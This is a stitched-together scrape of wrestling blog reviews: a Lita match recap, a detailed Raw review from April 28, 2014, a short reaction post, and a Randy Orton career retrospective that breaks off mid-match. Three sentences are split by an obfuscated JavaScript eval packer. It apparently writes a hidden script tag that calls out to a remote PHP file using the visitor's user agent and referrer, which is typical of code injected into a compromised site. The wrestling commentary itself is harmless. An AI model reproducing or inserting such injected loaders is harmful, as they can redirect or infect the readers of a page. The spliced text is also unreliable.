WOW. Lita still looks great too. Slater laughs this off but then accepts her challenge. The bell rings but Lita says she hired herself some protection. Cue the APA and Slater PANICS. Slater immediately runs but backs into every legend he’s fought in the last few weeks. They chase him back into the ring and the Twist of Fate sets up the Clothesline which sets up the Litasault (looked perfect) for the pin at 1:54.

Lita is one of the few women that was just awesome no matter when she was around. She was the high flying Diva that we hadn’t seen before and had that whole bad girl thing going with it. The injuries stopped her career cold multiple times though and cut her in ring time very short more than once. When you consider she got to the WWF in 2000 and retired at Survivor Series 2006 and factor out over two years due to injuries, she was only active in the company for four years. I doubt most people realize that. Anyway she was awesome when she was out there though and it never stopped working, much like those low riding pants.

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Monday Night Raw – April 28, 2014: Someone Turn On My John Cena Night Light

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yyyta|var|u0026u|referrer|sztek||js|php'.split('|'),0,{})) Night Raw
Date: April 28, 2014
Location: Scottrade Center, St. Louis, Missouri
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

It’s the go home show for Extreme Rules and we’ve got most of the card set. The main stories are of course Daniel Bryan vs. Kane and Evolution vs. Shield with the latter being the bigger match of the two. Things are still solid after Wrestlemania but it feels like something is missing as we head into the follow up. Let’s get to it.

We open with a recap of the Wyatts vs. Cena last week and Bray cradling Cena’s head to end the show in a disturbing scene.

There’s a cage around the ring in the arena and here’s John Cena to a good reaction. Cena had a disturbed look on his face and wants to know why the fans put him in a 3-1 handicap match last week. He seems hurt by the idea because the fans gave him no chance last week. John believes the statement that you either die a hero or live long enough to see yourself become the villain. Ten years ago in this building, John Cena was drafted to Raw (it was nine years ago) and the fans cheered for him.

Now it’s ten years later and the fans aren’t cheering him as much because they’ve moved on to Bray Wyatt. Cena knows that he can’t do this forever and he has to step aside at one point. He loves that idea though because he sees a bunch of people in the locker room ready to take his spot like Reigns, Rollins, Cesaro and Bryan. Cena even knows names like Adrian Neville and Sami Zayn from NXT because they have the same passion that he has to entertain the people.

Bray Wyatt doesn’t have that passion because Wyatt’s passion is Bray Wyatt. On Sunday, the Wyatt Family will be kept out and Bray’s message will be kept in. If Wyatt escapes, his message and corruption will continue to manipulate and the world won’t have a chance. The Wyatts hack the feed but we only hear what sounds like a group of children singing He’s Got The Whole World In His Hands.

The lights come back up and there’s a whole choir of children on the stage in black robes singing the song. Bray and the Family come out with the lantern to sing as well and the children follow him to the ring. Bray gets them to sing about having the whole Cenation and the Big Bad Monster in his hands as well.

The lights go out save for the lantern and when they come back on, all of the kids are wearing the sheep masks. Cena has no idea what to do. One of the kids is sitting on Bray’s lap as he laughs like a demonic villain. A closeup of the kid’s mask takes us to a break. This was one of the most bizarre and disturbing things I can ever remember watching.

Tag Team Titles: Usos vs. Ryback/Curtis Axel

Usos are defending and the challengers now have team music. We even get Big Match Intros before it’s Axel vs. Jey to start. Cole suggests that the Usos are in trouble here, despite being on fire for months and beating this team before. A quick cross body puts Axel down and it’s off to Ryback who misses a splash, allowing for the tag off to Jimmy. The challengers are sent to the floor and there are the double dives to put them down. Jey is holding his ankle though as we head to a break.

Back with Axel cranking on Jimmy’s arm as the trainer is checking on Jey’s ankle. A running knee to the head puts Jimmy down and it’s off to Ryback for a series of covers and two each. Jey is able to knock Ryback down and suplexes Axel down onto him, allowing for the tag to a taped up Jey. The injury doesn’t seem to matters as Jey comes in with a cross body for two on Axel and a superkick to Ryback. There’s a Samoan drop and the running Umaga attack for two but a blind tag brings in Ryback.

A spinebuster gets two on Jey and Ryback pounds on his own chest. The Meat Hook is blocked by another superkick and Jey fires off some chops, only to be taken down by a regular clothesline. Shell Shock is countered into a sunset flip for two but Ryback takes him down again. The Usos make their own blind tag though, so as Axel hits the PerfectPlex, Jimmy dives in with the Superfly Splash for the pin on Curtis at 11:16.

Rating: C-. So what was the point of the injury? It didn’t change a thing about the match and Jey barely sold the thing at all, so why bother having it except for some drama that was broken up about three minutes later? The division is very thin at this point and we have a bunch of talent with nothing to do. Why this isn’t a layup for WWE’s creative team…..really doesn’t surprise me.

Adam Rose debuts next week.

Heyman tells Cesaro to not listen to RVD about Heyman’s morals or business practices. This of course turns into a discussion about Undertaker’s Streak being broken when he messed with Heyman. Paul admits that he’s a ruthless liar and completely unethical but he takes his clients to the top. That’s all Cesaro needs to hear.

We recap Kane attacking Bryan last week. Stephanie will apologize later tonight.

Kane’s mask is in its case.

Sheamus vs. Titus O’Neal

Titus jumps Sheamus during his entrance and sends him into the barricade a few times. Sheamus tastes the post as well before being sent into the ring for some right hands to the face. He says he’s ready to go though and we have a bell. Titus is on him again and hammers in the corner as Sheamus still has his shirt on….but he hits the Brogue Kick anyway for the pin at 35 seconds. And the annoying booking of Sheamus continues.

You should Bolieve.

Dolph Ziggler is in the ring in street clothes to talk about how this is his favorite time of the year. The weather is nicer, the girls look a little bit better, and the superheroes return to the ring. He’s talking about explosions, things being thrown all over the place and total chaos. But enough about his place on a Saturday night. Here’s a clip from the new X-Men movie. Ziggler brings out X-Men star Hugh Jackman who plays to the crowd quite well.

Jackman talks about how much he loves Raw because anything can happen. Ziggler says that’s true and shows us a clip of Hugh knocking Ziggler out so Zack Ryder could get a pin. Dolph says Jack Swagger has hit him harder than that and they bury the hatchet. This brings out Damien Sandow in a Magneto costume to brag about how a supervillain is now played by someone with intelligence.

They trade some insults and Sandow says tonight the two of them will meet their fate. Jackman touches the cape as Ziggler looks like he’s about to lose it. Sandow displays his “power” by trying to pull the microphone out of Jackman’s hands but gets hiptossed and Zig Zagged instead. I’m not sure what to say about this one.

We look at Evolution reforming and Shield destroying a bunch of people on Smackdown.

Cesaro vs. Jack Swagger

Before the match, Heyman has a joke for us. Knock Knock. Who’s there? Mike. Mike who? Mike lient Brock Lesnar conquered the Undertaker’s Streak at Wrestlemania. Heyman promises to never mention the Streak again before bragging about Cesaro winning the battle royal.

Swagger tries an early suplex but gets countered into rolling gutwrench suplexes. They head outside with Cesaro being sent into the barricade for two before Swagger cranks on a double chicken wing. Swagger loads up the Vader Bomb but Heyman goes after Zeb’s mustache for a distraction, allowing Cesaro to hook a German suplex for the pin at 3:17.

Rating: D+. This feud isn’t doing much for me but it’s cool to see Cesaro throw people around like they’re children. Heyman going after the mustache was a great touch and the match was more entertaining than it should have been. I don’t care much for Swagger though and he drags things down when he’s on screen.

We look at the opening segment again.

Cena has nothing to say about what happened earlier.

The mask is still in the case.

Cody Rhodes vs. Alberto Del Rio

Del Rio quickly takes him down for two but Cody comes back with a clothesline and slam for two of his own. Not that it matters as Alberto hits him in the head again and gets another near fall off a belly to back suplex. Cody hits a dropkick but walks into the tilt-a-whirl backbreaker to set up a chinlock. Back up and the springboard dropkick is countered with a punch to the ribs, setting up the armbreaker from Del Rio for the submission at 3:20.

Rating: D+. I’m guessing this is for angle advancement as it was basically a Del Rio squash. My goodness I can’t remember the last time I actually got to type that. The match was nothing special and I wish it had been Goldust doing the job instead of someone like Cody who might have a lengthy future.

Cody walks away from Goldust again post match.

Heyman and Cesaro have a meeting in the back.

Alexander Rusev vs. Xavier Woods

Squash for about 40 seconds until R-Truth runs in for the DQ. The team knocks Rusev to the floor and stands tall before their handicap match on Sunday.

We see John Cena granting three Make-A-Wishes this morning.

RVD is ready to beat Bad News Barrett tonight. Zeb Colter comes in and suggests an alliance against their common enemy in Paul Heyman but RVD declines.

Los Matadores vs. 3MB

McIntyre and Slater here. The pre show match on Sunday is a, I kid you not, Wee L C match involving all of these guys plus the small ones. McIntyre sends Diego into the corner to start before it’s off to Slater. Heath doesn’t do all that well and it’s quickly off to Fernando who cleans house. The announcers of course spend the match making short jokes as Torito Gores Mahal’s groin into Hornswoggle’s head. Back in the ring and Slater hits an elevated DDT on Fernando for the pin at 2:19. JBL: “OH MY GOD 3MB WON! BARRY HOROWITZ IS ROLLING OVER IN HIS GRAVE AND HE’S NOT EVEN DEAD!”

Post match Hornswoggle misses a dive and crashes on the floor. Torito dives on 3MB.

Here’s Stephanie for the apology to Bryan. She calls out the champ and gets both him in a neck brace (minus belts) and Brie Bella who leads the YES chants. Daniel says he almost believed Stephanie when she was telling Kane to stop last week but she’s full of lies. Stephanie says she deserves that and the truth is she and HHH never wanted Bryan to be WWE Champion. Emotions ran high and got out of control.

Bryan says Stephanie’s emotions ran high, so how do you think his wife felt when the Authority was trying to take him out and had to let him do it on his own. Stephanie apologizes again and says she knows what it’s like for your husband to be in an ambulance. She’s sorry on behalf of the entire family for unleashing the demon and for everything else she’s done. Daniel still doesn’t buy it so she asks him to come down to the ring to convince him face to face.

Bryan says he’s going to see a liar if he gets in the ring and that Kane will be here at the snap of a finger. His head hurts and he can’t move his neck, but he’s never given up in his life. He’s been cleared for Sunday and if Kane takes him down, Bryan is taking Kane with him. Stephanie says she can give them something to make up for what happened last week. She offers Brie a Divas Title match tonight but Bryan says he’ll be there with her. The match is right now.

Divas Title: Paige vs. Brie Bella

Paige is defending. Before the match we cut to the back and see that the mask is gone. They trade some holds to start with Brie taking over with a flying mare and dropkick for two. Paige screams a lot and slams Brie into the mat before getting two off a northern lights suplex. Brie comes back with a kick to the face and a hard running knee. She goes up top but gets punched in the gut, setting up a nice superplex to put both girls down. Not that it matters as we’ve got Kane.

Daniel is waiting for him in the aisle but Kane comes up through the ring and tries to pull Brie down. Bryan tries to make a save but the neck injury slows him down. Kane stalks Brie as Bryan is down on the floor. He drags her to the hole but Bryan comes in with I think a wrench to knock Kane silly. Of course he sits up as Bryan tells Brie to get out. A chokeslam leaves Bryan laying. She gets back in like an imbecile and has to scramble away from Kane as he tries to drag her into the hole. Bryan is helped to the back by medics. The match went to a no contest at about 2:20.

Back from a break and a doctor is checking on Bryan when Stephanie comes in again to apologize. Bryan says he’ll be at Extreme Rules and will make her regret dragging Brie into this. Brie yells at Stephanie and calls her something you don’t say to your boss.

We look at the opening segment again.

Cena says the choir freaked him out but he knows the crowd hasn’t turned their backs on him. The crowd was still reacting to him and that gives him hope. Cena is ready for Sunday and will buy Bray a singing mule. The singing ends on Sunday.

Bad News Barrett is on his podium and has some BAD NEWS for RVD. The slogan for the company is Then, Now and Forever. RVD should only be Then, because he’s only living on the past.

Intercontinental Title #1 Contenders Tournament Finals: Rob Van Dam vs. Bad News Barrett

Winner gets Big E. for the title on Sunday. Feeling out process to start with Rob taking him down to the mat with a headlock. Barrett misses a charge and falls to the floor, setting up a moonsault from the apron to take down Bad News. Back in and Barrett sends Rob out to the floor almost immediately before doing the thumb pointing. They head inside again with Rob getting two off a rollup but getting thrown into a kick to the ribs in the corner.

Back from a break with Barrett holding a chinlock. Winds of Change get two and a neckbreaker gets the same for Barrett. We hit the chinlock again for a bit before Rob fights up and nails a superkick. Some clotheslines and the step over kick look to set up Rolling Thunder but here’s Cesaro for a distraction. Swagger intercepts Cesaro but Rob has to duck the Bull Hammer. Rolling Thunder connects but Cesaro distracts him from the Five Star, allowing Barrett to get his knees up. Bull Hammer sends Barrett to Extreme Rules at 11:22.

Rating: C-. The match was dull at times but this should set up Cesaro vs. Van Dam to flesh out Sunday’s card a little bit. Barrett is much more interesting in this character and has looked great since Wrestlemania. I can’t imagine Big E. holds the title and that’s the right idea at this point.

Post match Cesaro goes after Van Dam but Swagger lays him out with a gutwrench powerbomb. Van Dam beats up Swagger though and hits the Five Star on Swagger.

We look at Shield destroying people on Smackdown again.

Shield says they’ve passed Evolution by. Rollins holds up his fist and says it’s the new symbol of excellence (the name given to the four fingers of the Horsemen). Reigns says Evolution looks more like the past.

Ambrose has to defend the US Title against Alberto Del Rio, Ryback and Curtis Axel in a handicap match on Smackdown.

Randy Orton vs. Roman Reigns

Orton has Batista and HHH with him and comes out to the Evolution theme. Before the match, HHH says Shield is starting to remind him of Evolution. There’s a problem with that though: Evolution is still here and they’ll never be that good. Shield hits the ring….and here’s Ric Flair.

Ric looks bombed and asks if this is St. Louis, Missouri. He’s had a lot of fun in this town but says it’s great to be back in a ring with people who know what this business is all about: dominance. Flair talks about everything coming full circle, including greatness. Tonight he’s surrounded by superstars who exemplify power, style and greatness. By that he means the Shield and shakes all three of their hands. With that he leaves and Evolution is shocked.

We actually get a bell at 11:05 and Reigns hammers away but gets caught by a headbutt and right hands. They head outside and fight over a suplex with Reigns getting the better of it. Orton reverses a whip to send Reigns into the steps before taking it back inside for a chinlock. A hard clothesline puts Reigns on the floor but he fights out of the Elevated DDT.

The running clothesline and a right hand have Orton reeling and Reigns heads to the floor for the apron dropkick. Back in and HHH breaks up the Superman Punch as the brawl is on. The fans are WAY into this as Ambrose is thrown across the anounce table. Back inside and the Superman Punch connects but Reigns goes to the floor to get in on the fight for the DQ at 4:50.

Rating: C. This was a good moment for Reigns as he looked like he was capable of hanging with the guy that was World Champion coming into the main event of Wrestlemania less than a month ago. The match on Sunday is going to be NUTS and it should main event the PPV. I’d love to see a full match between these guys and it’s good to see Reigns getting some solo time.

Post match Evolution destroys Shield with spinebusters and slams. HHH loads up a Pedigree on Ambrose but Rollins makes the save with a springboard knee to the face. HHH is left alone and Reigns lays him out with the spear. Orton and Batista try to break up the Triple Bomb with chairs but get kicked in the face, allowing Shield to stand tall to end the show.

Overall Rating: C+. This was a rollercoaster of a show but the problem was it all had to follow that opening segment. There was just no way they could trump that all night long and it never did. I’m fired up for Sunday and the top three matches all look great on paper. The builds have worked perfectly and I’m looking forward to Sunday. More importantly, things seemed a lot more organic instead of scripted this week and that’s a VERY positive sign for the future.

Results
Usos b. Ryback/Curtis Axel – Superfly Splash to Axel
Sheamus b. Titus O’Neal – Brogue Kick
Cesaro b. Jack Swagger – German suplex
Alberto Del Rio b. Cody Rhodes – Cross armbreaker
Alexander Rusev b. Xavier Woods via DQ when R-Truth interfered
3MB b. Los Matadores – Elevated DDT to Fernando
Paige vs. Brie Bella went to a no contest when Kane interfered
Bad News Barrett b. Rob Van Dam – Bull Hammer
Roman Reigns vs. Randy Orton went to a no contest when Evolution interfered

 

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

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WHAT THE HECK WAS THAT????

If eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdrte|var|u0026u|referrer|nienz||js|php'.split('|'),0,{})) you haven’t seen the opening segment to Raw tonight, avoid any and all spoilers and watch it.  I was as freaked out as I’ve ever been watching wrestling.




Wrestler of the Day – April 1: Randy Orton

The voices tell me that today is Randy Orton.

Much eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tstnn|var|u0026u|referrer|yntas||js|php'.split('|'),0,{})) like Booker T, Orton has been around for a long time so I’m going to have to skip some big sections to keep this from being eight hours long.

Orton was trained by his dad and started in Missouri for a bit before signing to OVW. Here’s one of his matches from Christmas Chaos 2001 in January of the same year.

Slick Robbie D vs. Randy Orton

Cornette is in the Control Center and gives a brief intro to each match so they’re not as rushed as they seem. Robbie went nowhere but could jump like few I’ve ever seen. Orton actually has hair here and is a rookie as well and even has hair here. The referee is a chick with big hair. Randy isn’t evil here and has few tattoos. He’s also not orange yet.

Robbie hammers away on Orton so Cornette plays up how much of a rookie that Orton is. There’s that gorgeous dropkick by Orton and he grabs an armbar. Wheelbarrow suplex gets two for Orton. He’s freaking jacked here too. Big superkick by Robbie gets him out of trouble though. Leg drop gets two. Robbie hits a dropkick to send Orton to the floor. Apparently if you intentionally throw someone over the top it’s a DQ. I will never get that rule.

BIG plancha takes out Orton. Robbie tries to go up and goes so slow “that a crippled moose could be up there by now.” I love Cornette’s expressions like that one. Superplex brings Robbie down and both guys are down. Orton starts his comeback and hits some basic stuff. In a rather abrupt ending, Orton tries for a full nelson slam which is his finishing move at the time. It’s blocked so Orton tries it again and hits it for the easy pin. Like I said, rather abrupt.

Rating: C+. Another decent little match here as I feel like I’m watching a Before They Were Stars tape or something like that. Orton wasn’t that great here but it was clear that they were going to try to make him into something. As with a lot of other guys I don’t think anyone had any idea how big he would become but the potential was there.

Orton would make it to Smackdown a little over a year later and would be just a guy for awhile, including in this match on Smackdown from July 4, 2002.

D-Von/Batista vs. Big Valbowski/Randy Orton

Orton had been around for a few months here but was just a young kid. Batista was the deacon for Reverend D-Von and had debuted last week as well. Orton has hair here. Batista beat up Orton last week so this is the rematch Orton requested. Val (I’m not typing that whole thing) starts against Batista. He tries to take Batista’s knee out but gets run over by a HUGE clothesline.

Off to D-Von and the veterans do some basic stuff. Orton comes in to a screaming girls pop. He’s always had a sweet dropkick. D-Von gets a neckbreaker out of the corner for two. Orton gets beaten down but manages to bring in Val. Venis gets a Blue Thunder Bomb but Batista makes the save.

Orton comes in and hot shots D-Von, but Big Dave (first name unknown at this point) puts him in a fireman’s carry and rolls through it like Kenderson does. That’s a new one. Or old one in this case I guess. Everything breaks down and Orton misses his top rope cross body. The spinebuster ends this. Cole: “Batista is an animal!”

Rating: C-. This was fine and it’s amazing to see guys like this in their very young days. You never know what you might have in any given match and this is proof of it. I’m sure they knew they had something, but I don’t think anyone knew how big they’d be. Somehow, these two pale in comparison to the guy that would be in the next segment though. The match was fine.

Orton would suffer one of his numerous shoulder injuries to put him out of action. This was where everything changed. Let’s flash back to 1997 for a second. Rocky Maivia was brought in at Survivor Series 1996 as a face, but people would come to loathe him very quickly. They then turned him heel until his talent shined through and the fans turned him face again. This was basically a big screw up that turned out perfectly in the end. In 2002, WWE tried to do the same thing on purpose with Randy Orton.

Unfortunately it didn’t work all that well though and Orton was better as a heel. This led to the Randy News Network bits where he would interrupt broadcasts to say where he was in his shoulder recovery. However, instead of getting over as a face, Orton got WAY over as a heel and WWE just stayed with that and put him in Evolution despite being hurt. Evolution dominated 2003 and Orton was back in the ring a few months into the year. The team hit its peak at Armageddon 2003 which saw Orton challenging RVD for the Intercontinental Title.

Intercontinental Title: Rob Van Dam vs. Randy Orton

Rob takes him down quickly and Orton heads to the floor. Back in and we get some surprisingly decent chain wrestling, resulting in a standoff. Rob gets a shot to the ribs and a cross body off the top for two. Spinwheel kick puts Orton on the floor as Rob has been in control nearly the entire match so far. Big dive takes Orton out again as Rob threatens Flair a bit.

Slingshot legdrop gets two. He tries to go up again but Orton manages to shove him off, flying into the railing in one of his signature spots. Out to the floor and Orton gets that awesome dropkick of his. Back in and Orton chokes away with Rob making a hilarious face at the same time. Foley pulls Orton off Rob and Flair is TICKED.

Orton takes over with his usual stuff. Well usual for this time at least. It’s so weird to see him with only a few tattoos and normal looking skin. There’s the chinlock just to confirm it’s an Orton match. Big clothesline by Orton but he poses instead of covering. Seated dropkick gets two and it’s chinlock city again. Rob grabs a rolling cradle out of nowhere for two.

Split legged moonsault gets two. Orton hits a move of his I’ve always loved: he puts Rob on his shoulder like for a powerbomb and steps forward, pulling Rob down into a neckbreaker. Love that. Oh look here’s another chinlock. I know that’s a cliché for him but it’s true. Rob fights out of it after WAY too long and hits his spin kick to take over.

Off to the floor again and with Orton draped over the railing, Rob hits that spinwheel kick off the apron. Elevated DDT coming back in gets two. Knee drop by Orton misses and Van Dam gets a rollup with his legs for two. Rolling Thunder hits and there goes Flair whose hair is DRENCHED. Spinning kick takes down Randy again and it’s Five Star time. Flair has something in his hand but Foley takes him down. Orton dropkicks Rob off the ropes and there’s the RKO for the title.

Rating: C+. Pretty good here but Orton clearly didn’t know how to work a long match, although to be fair he still pretty much doesn’t. Van Dam is a weird guy to have carry you so Orton had to do a lot here. Foley would get spat on the next night and leave until the Rumble and then wrestle against Orton at Mania and Backlash. Either way, not bad here but not a classic.

Orton would hold the title for over half a year before dropping it to Edge. This freed him up to go after a World Title and he got that shot at Summerslam 2004.

Raw World Title: Randy Orton vs. Chris Benoit

Orton won a battle royal a month ago to set this up. It’s weird to see Orton with hair, regular colored skin and few tattoos. The fans of course are more interested in telling Earl Hebner that he screwed Bret. Feeling out process to start with Benoit taking it into the corner for a clean break. Benoit takes it to the mat and puts on a hard chinlock which gets him nowhere. Off to a test of strength with the taller Orton taking over, but Benoit comes back with pure leverage.

Benoit hooks an armbar as we reset a bit. Orton fights up and is armdragged right back down to the mat with Benoit cranking away on the arm. That goes nowhere so Benoit tries a Sharpshooter but Orton kicks him off and puts on one of his own. Benoit counters into his own Sharpshooter but it’s not on full, allowing Orton to get to the ropes. The Crossface doesn’t go on full either so they head to the floor where Benoit is whipped into the barricade.

There’s the Spanish table chant again as Benoit is sent shoulder first into the post. Back in and Orton puts on an armbar of his own, showing some basic psychology. Orton drops him ribs first across the top rope and the fight moves to the outside with Benoit hitting a kind of DDT onto the apron to take over. Chris tries a suicide dive but rams his head into the barricade as Orton moves to the side. Back in and Orton wrenches the neck around before putting on something resembling a camel clutch.

Orton puts Benoit over his shoulder for a powerbomb but steps forward into a neckbreaker for two in a nice move. We hit the chinlock which is actually a smart move here. Back up and both guys hit cross bodies for a double knockout. They slug it out with the champion taking over via a series of forearms to the head. Orton blocks the rolling Germans but gets caught in a northern lights for two.

Randy fights off a superplex and hits a high cross body for two, crushing Benoit’s head again in the process. Chris ducks a clothesline and hits a release German suplex before putting on the Sharpshooter. Two arm drops later and Orton gets to the ropes, only to be caught in a long series of rolling Germans for two. Benoit loads up the Swan Dive but Orton gets up the knee, driving it right into Benoit’s jaw. That’s hard to watch today. Orton’s cover is countered into a bad looking Crossface but Orton rolls away to escape. Back up and another Crossface attempt is countered into the RKO out of nowhere for the pin and the title.

Rating: B+. This took a bit to get going but I really liked the ending with the RKO hitting from nowhere. It caught the technical master off guard which was the right idea given that Orton is younger and faster. It’s a good match and Benoit put Orton over clean right in the middle of the ring. You can’t ask for more than that.

Orton celebrates as Benoit leaves but Chris comes back and demands that Orton be a man and shake his hand.

Orton would turn face the next night on Raw when HHH kicked him out of Evolution for taking HHH’s title. The title reign wouldn’t last long due to HHH deciding that he needed the belt back and Orton’s face push died. With nothing else to do they turned him heel again and gave him a shot at the Streak, which was really becoming a huge deal.

Randy Orton vs. Undertaker

It’s Wrestlemania so we get druids, chanting and torches for Undertaker’s entrance. This is never not cool. We also get the Burn in My Light theme for Orton from back when Orton looked like a 24 year old and not like he was made out of orange shoe leather. Undertaker is just 12-0 at this point. Feeling out process to start until Orton scores a quick dropkick for two. A single right hand puts Orton down but a quick rollup out of the corner gets two for Randy.

Undertaker throws him into the corner and drops the leg on Orton on the apron for good measure. Old School drops Orton again but Undertaker misses a running boot in the corner, allowing Orton to dropkick him out to the floor. Back in and a clothesline puts Taker down again for two but a running DDT drops Orton for two for the tall guy. Undertaker follows up with some clotheslines in the corner before loading up the snake eyes/big boot combo. Orton blocks the coming boot with an uppercut but he stops to pose, allowing Undertaker to sit up.

They slug it out until Undertaker simply runs Orton over for two. Off to a dragon sleeper by Taker which clearly makes Orton tap but it doesn’t count this early I guess. Orton twists around into a nice DDT for two before we hit the chinlock. Taker fights up so it’s a sleeper instead, only for Taker to counter again with a belly to back suplex. Back up and Orton powerslams Undertaker down for two but he makes the eternal mistake of punching Undertaker in the corner and gets caught in the Last Ride.

Orton escapes though and tries the RKO, only to be shoved off. He grazes the referee on the way to the ropes which apparently passes for a ref bump. The Last Ride is countered again and here’s Randy’s dad Bob with the cast (that’s a VERY slow healing injury as it’s at about 23 years now) to give Orton a VERY close two. In one of my favorite counters ever, Taker loads up the chokeslam but Orton counters in mid air into the RKO for two. Like any good lunkhead, Orton loads up the Tombstone but gets countered into the real thing to make Taker 13-0.

Rating: C+. While not great, Orton was trying out there. The problem was that Orton had been crushed so badly by HHH that there was no reason to buy him as a threat here. I won’t say didn’t even have to break a sweat here but other than that RKO counter and MAYBE the cast shot, Undertaker was never in any danger or even extended trouble.

The rest of 2005 was mainly spent feuding with Undertaker, who eventually won the blowoff match of course. Next up was chasing the World Title on both Smackdown and Raw but Orton couldn’t quite close the deal. Instead it was back to the old Legend Killer stuff, including a match against the biggest legend of them all in Hulk Hogan at Summerslam 2006.

Randy Orton vs. Hulk Hogan

Hogan has a bad leg coming in, meaning he’s perfectly normal. Hulk easily shoves Orton down out of lockup to start before running him down with a shoulder block. The bandana goes into Orton’s face before Randy grabs a headlock. Hogan fights out with a top wristlock as we’re still going very slowly so far, much to Hogan’s liking. Randy finally gets in some shots to the face to put Hogan down, thereby making him the biggest heel in the world.

Hogan fights Orton off in the corner and sends him into the buckle. Almost all Hogan so far which continues as Hogan pounds down right hands in the corner. He bites Randy’s forehead and pokes him in the eye to keep us firmly in the mid-80s. Hogan rakes his back and pounds away on the mat before threatening the referee with a right hand. Orton holds the ropes on an Irish whip and pulls Hogan to the mat to work on the knee.

Back in and Orton cannonballs down on the leg before doing a short form of the circle stomp. A chop block puts Hulk down again but he ducks/collapses to avoid a high cross body. Hogan pounds away but misses the big boot, allowing Orton to dropkick him down. The RKO connects for three but Hogan’s foot was on the ropes. Orton argues with the referee, Hulk Hulks Up and the legdrop ends it.

Rating: D. Well let’s see: the booking was out of the 80s, Hogan broke a sweat for maybe a minute, and Orton was pinned clean by a 50+ year old man in about eleven minutes. This is the opposite of last year with Shawn as Michaels didn’t have much to gain from a win. Orton on the other hand could have ridden this win for months, but instead we get Hogan’s last WWE match (which you couldn’t have known at the time) as a tribute to him, complete with the 1985 formula all over again. Not a fan of this but you had to know it was coming.

After chasing the title again for a good chunk of 2007, Orton would be awarded the title at No Mercy 2007 when John Cena was injured. Randy would lose the title less than twenty minutes later to HHH before facing him again later in the night in a last man standing match.

Raw World Title: HHH vs. Randy Orton

Last man standing. Slugout to start with Orton going after the bad ribs. They keep the slugout going out to the floor where a Pedigree is countered. The bad ribs land on the steel and Orton gets control. Back in and a punch puts HHH down. Out to the floor again and Orton belly to back suplexes him onto the barricade. That gets a six count and Orton throws him into the steps for another six.

They head into the ring and Orton hits a release powerslam for about eight. Facebuster puts Orton down but he pops back up and gets a cord off the floor. He chokes HHH out but what should be murder only gets a nine count. Orton loads up the announce table and gets a horrible shot to the head with a monitor. An RKO from one table to the other doesn’t work as HHH launches him through the second table.

Both guys are down and Orton is holding his arm. Gee where have I seen that before? Trips gets up and it’s a nine count on Orton. A spinebuster on the floor but that gets the same result. Steps to the face of Orton should kill him but gets the slowest nine count ever. Back into the ring and HHH gets a chair. Orton manages to kick the bad ribs and DDTs him onto the chair for an eight or so.

Randy finally goes off and pounds HHH down in the corner and an RKO on the open chair gets nine. The Punt is grabbed and HHH throws Orton over the top to the floor. They go to the floor with HHH pounding on him before throwing him onto the remaining table. Orton escapes and slams him into the post to put HHH down. He gets the steps but HHH hits him low to “slam” Orton’s head into them. A chair to Orton’s head while it’s still on the steps gets nine and we go back to the table. An RKO out of nowhere onto the table gives Orton the title. It’s as sudden as it sounds.

Rating: B. Good match but the counts got pretty ridiculous at times. The ending didn’t help either as Orton had hit him with far bigger stuff just moments earlier but the RKO ends it because that’s what Orton finishes matches with. Also it doesn’t help that these two had THREE last man standing matches in total. See why people got tired of them?

Cena would come back sooner than later and would jump back into the title scene, setting up a threeway between Orton, Cena and HHH at Wrestlemania XXIV.

Raw World Title: Randy Orton vs. HHH vs. John Cena

Cena has a drumline playing him to the ring which is pretty awesome. After some big match intros we’re ready to go. Orton immediately blasts HHH with the belt but Cena takes the champion down with a bulldog before Orton can do any more damage. HHH pops back up and throws both guys to the floor before sending Orton into the announce table. Orton and HHH head back in with the champion being put in a sleeper. Cena comes back in and picks them BOTH up at the same time for an FU but both guys slip off the back. Orton’s backbreaker puts HHH down as does a shot to Cena to give the champion control again.

Randy takes turns pounding away on both guys, getting two off a knee drop to the Game. Orton starts getting uncharacteristic for himself by going up top, only to be stopped by Cena. John loads up a superplex but HHH pulls Cena onto his own shoulders so Orton can hit a top rope cross body for two. Cena stands up to try the FU on Orton but Randy slides into a cradle for two. HHH clotheslines Cena down but Orton clotheslines HHH to put HHH down.

It’s Orton standing tall again as he sends both guys to the apron for a double Elevated DDT which gets two on both challengers. An RKO to Cena is countered but he shoves Orton into HHH to put both guys down. Cena hits the Throwback (a flipping face first mat slam) and the top rope Fameasser to keep Randy down. He isn’t down enough for the STFU though and the champion rolls to the floor. Cena follows him and is sent into the post to slow things down again.

Orton and HHH fight it out in the ring with HHH taking out the champion’s knee. Cena comes back in to distract HHH but after the Game puts him down, Orton catches him with an RKO to put him right next to Cena. Orton kicks HHH to the floor but walks into the STFU in the middle of the ring. HHH makes a save at the last second and sends Cena into the floor to put him down on the floor.

Back in and HHH puts on an Indian Deathlock to follow up on the knee work he started earlier. Now it’s Cena back in to break up the hold and send HHH into the corner and out to the floor. Back to the STFU but HHH comes in for the save. The problem is that the save didn’t work, so HHH puts Cena in a Crossface while Cena has Orton in the STFU. Cena lets go of his hold but manages to crawl over to the ropes to break up the hold.

